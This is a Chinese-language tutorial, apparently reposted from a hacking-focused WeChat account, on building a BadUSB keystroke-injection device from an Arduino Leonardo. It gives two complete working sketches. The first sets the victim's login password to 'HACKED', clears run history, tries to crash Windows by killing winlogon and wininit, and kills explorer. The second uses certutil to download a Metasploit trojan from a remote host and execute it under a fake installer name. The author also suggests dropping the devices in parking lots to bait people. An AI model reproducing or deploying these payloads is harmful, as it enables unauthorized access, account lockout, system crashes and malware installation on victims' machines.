专栏首页HACK学习BadUSB制作教程

BadUSB制作教程

和大多数人一样,最初见到BadUSB是在美剧《黑客军团》中,是fsociety组织常用的工具之一,无论是向服务器下载木马控制被害者主机,还是达琳在停车场帅气的扔出大量USB钓鱼,BadUSB都是功不可没的物理武器之一。

剧情中使用Hak5的USB rubber ducky控制目标主机

达琳在停车场扔BadUSB钓鱼

BadUSB的优点

在USB攻击领域,很多年前常用的是老式USB病毒autorun.inf,现在估计随便一个杀毒软件就能把它杀得死死的,与autorun.inf不同,BadUSB是利用了USB协议上的漏洞,通过更改USB的内部固件,在正常的USB接口接入后,模拟外置鼠标、键盘的功能,以此来使目标主机执行已经精心构造好的命令。在此过程中不会引起杀毒软件、防火墙的一丝怀疑。而且因为是在固件级别的应用,U盘格式化根本无法阻止其内部代码的执行。

同样因为是对USB的利用,Windows、Linux、MAC等各类操作系统不必联网下载专用的驱动程序。此外,向BadUSB烧录的程序极为简单,大部分是对键盘按键进行模拟,上手较为容易。

BadUSB也是社会工程学的一个典型示例,它极大地利用了人们的好奇心,在路边捡到的USB,估计九成以上的人们都想看看里面有什么东西,而当你插入U盘,攻击就很难再停止下来了。

制作BadUSB的几种板子

能够制作BadUSB的几种常见载体有:leonardo_Arduino、Phison、Teensy、Attiny85、PS2303(芯片)、Rubber_Ducky等,这里笔者都有试过,从外观形状和制作成功率来看,使用leonardo_Arduino制作BadUSB的效果最好,使用起来也较为方便。

Rubber_Ducky

Attiny85

PS2303群联芯片

leonardo_Arduino

那么来做一个BadUSB怎么样?

这里选用外观形状最像USB的leonardo_Arduino为载体制作BadUSB,首先第一步就是要去下载Arduino开发者工具——用来向leonardo烧录程序的软件。这里贴一个Arduino中文社区的下载地址:https://www.arduino.cn/thread-5838-1-1.html,下载安装较为简单,这里不再赘述。安装后打开软件,你将看到如下所示的界面图:

Arduino开发者工具界面

然后打开工具-开发板-开发板管理器:

打开开发板管理器

联网安装Arduino AVR Boards板子:

Arduino AVR Boards开发板

回到主界面,开发板选择,选择工具-开发板- Arduino Leonardo。编程器选择,AVRISP mkII,如下图所示:

开发板及编程器选择

然后就是写入代码,如果你嫌自己写太麻烦,这里有个快速编写命令的工具:Automator,熟悉MAC的朋友可能认识,它主要是用来在MAC上发挥“按键精灵”的作用。

这里附上GitHub上的下载地址:https://github.com/Catboy96/Automator

其实代码写起来不难,关键看我们自己要实现什么效果,比如我就比较坏了,我打算先把对方开机密码先改了,然后在用各种颜色刷遍命令行,给对方一种美的享受,最后再开开心心的关掉对方桌面进程,当然能蓝屏的还是先蓝屏比较好。

写好代码后,点击左上角的那个对号进行编译,没有报错信息一般就是成功了:

代码:

#include<Keyboard.h>
void setup() {//初始化
 Keyboard.begin();//开始键盘通讯
 delay(5000);//延时
 Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
 Keyboard.release(KEY_CAPS_LOCK); //释放大写键
 delay(200);
 Keyboard.press(KEY_LEFT_GUI);//win键
 delay(200);
 Keyboard.press('r');//r键
 delay(200);
 Keyboard.release(KEY_LEFT_GUI);
 Keyboard.release('r');
 Keyboard.println("cmd.exe");
 delay(200);
 Keyboard.println("CMD.EXE /C REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&NET USER %USERNAME% HACKED");//修改密码HACKED
 delay(200);
 Keyboard.println("color a");//更改命令行颜色(绿色)
 delay(200);
 Keyboard.println("echo ........................................................ >> hacked.txt");//向hacked.txt写内容
 delay(200);
 Keyboard.println("echo ## ## ### ###### ## ## ######## ######## >> hacked.txt");//向hacked.txt写内容
 delay(200);
 Keyboard.println("color 0");//更改命令行颜色(绿色)
 delay(200);
 Keyboard.println("echo ## ## ## ## ## ## ## ## ## ## ## >> hacked.txt");//向hacked.txt写内容
 delay(200);
 Keyboard.println("color 1");//更改命令行颜色(绿色)
 delay(200);
 Keyboard.println("echo ## ## ## ## ## ## ## ## ## ## >> hacked.txt");//向hacked.txt写内容
 delay(200);
 Keyboard.println("color 2");//更改命令行颜色(绿色)
 delay(200);
 Keyboard.println("echo ######### ## ## ## ##### ###### ## ## >> hacked.txt");//向hacked.txt写内容
 delay(200);
 Keyboard.println("color 3");//更改命令行颜色(绿色)
 delay(200);
 Keyboard.println("echo ## ## ######### ## ## ## ## ## ## >> hacked.txt");//向hacked.txt写内容
 delay(200);
 Keyboard.println("color 4");//更改命令行颜色(绿色)
 delay(200);
 Keyboard.println("echo ## ## ## ## ## ## ## ## ## ## ## >> hacked.txt");//向hacked.txt写内容
 delay(200);
 Keyboard.println("color 5");//更改命令行颜色(绿色)
 delay(200);
 Keyboard.println("echo ## ## ## ## ###### ## ## ######## ######## >> hacked.txt");//向hacked.txt写内容
 delay(200);
 Keyboard.println("color 6");//更改命令行颜色(绿色)
 delay(200);
 Keyboard.println("echo ........................................................ >> hacked.txt");//向hacked.txt写内容
 delay(200);
 Keyboard.println("color c");//更改命令行颜色(红色)
 delay(200);
 Keyboard.println("cls");//更改命令行颜色(红色)
 delay(200);
 Keyboard.println("type hacked.txt");//将hacked.txt文件内容打印在cmd
 delay(200);
 Keyboard.println("CMD /C START /MIN CMD /C REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN CMD /C NTSD -C Q -PN WINLOGON.EXE 1>NUL 2>NUL&TASKKILL /F /IM WININIT.EXE 2>NUL");//蓝屏XP、7
 delay(200);
 Keyboard.println("taskkill /f /im explorer.exe");//删除桌面进程(all)
 delay(200);
 Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}

编译成功

最后插上你的leonardo,点击左上角第二个箭头符号进行上传,等待个50几秒就成功了。

PS:效果爆炸,程序将更改所有用户的密码,你别忘了新的开机密码哈,笑~~

链接服务器msf木马下载版代码:

#include<Keyboard.h>
void setup()
{
 Keyboard.begin();//开始键盘通信
 delay(4000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样
 Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
 Keyboard.release(KEY_CAPS_LOCK); //释放大写键
 delay(500);
 Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
 delay(500);
 Keyboard.press('r');//按下r键
 delay(500);
 Keyboard.println("cmd.exe");
 delay(1000);
 Keyboard.println("certutil -urlcache -split -f http://192.168.43.242/wwy.exe D:\\setup_11.5.0.exe");
 delay(1000);
 delay(1000);
 Keyboard.println("D:\\SETUP_11.5.0.EXE");
 delay(500);
 Keyboard.println("exit");
 delay(500);
 Keyboard.press(KEY_CAPS_LOCK); //按下大写键
 Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
 delay(400);
 Keyboard.end();//结束键盘通讯

}
void loop()
{
}

原创投稿:L M N

本文分享自微信公众号 - HACK学习呀(Hacker1961X),作者:L M N

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-07-03

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • APT资源乱入+ 学会编写sqlmap tamper

    受众:有点基础的朋友,如果是白纸的话,估计前面的两节理论课能听懂,后面的实操就有点不一样了。

    HACK学习
  • DNS域传送漏洞(三)

    高校的域名可从该页面抓取到:http://ziyuan.eol.cn/college.php?listid=128

    HACK学习
  • ThinkPHP 5.x 远程命令执行漏洞利用(GetShell)

    ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会...

    HACK学习
  • 常用模块、面向对象、装饰器、异常处理和git 常用模块时间模块面向对象装饰器异常处理git

    zhang_derek
  • ROS_Kinetic_27 在ROS中使用Cartographer进行SLAM

    Cartographer是谷歌新開源的通用的2D和3D定位與構圖同步的SLAM工具,並提供ROS接口。

    zhangrelay
  • 【NIPS2017】“深度高斯模型”可能为深度学习的可解释性提供概率形式的理论指导?亚马逊机器学习专家最新报告

    【导读】在NIPS 2017上,亚马逊机器学习专家Neil Lawrence在12月4日在长滩现场进行了一场“基于高斯模型的深度概率模型”的演讲报告。这场报告N...

    WZEARW
  • 告别被拒,提升iOS审核通过率(一)

    作者:互娱iOS预审团队,隶属于互娱研发部品质管理中心,致力于互娱产品的iOS审核前的验收工作。 iOS审核一直是每款移动产品上架苹果商店时面对的一座大山,每次...

    腾讯大讲堂
  • ThinkPHP基础知识(一)

    TP是一个很好用,很好学的php框架,拥有了它,你开发的效率会挺高很多。 你可以在ThinkPHP官网上下载最新的版本,现在是ThinkPHP5,然而我现在学的...

    benny
  • 玩VR无人机是一种什么样的体验?

    现在,虚拟现实、增强现实和无人机可以说是比较热门的科技产品了。其中无人机更是受到了越来越多普通用的欢迎。 ? 不过目前市面上大部分的无人机,体积都不算小巧。虽然...

    机器人网
  • 腾迅企业微信到底哪些特征? 对传统管理软件是危险还是机会?

    这两天关于腾迅发布企业信息号的消息被广泛转载,很多人都在问我消息的真实性,今天我再重审一下,消息绝对准确,信息绝对无误,腾迅借此杀入企业级市场的野心从去年就开始...

    人称T客

扫码关注云+社区

领取腾讯云代金券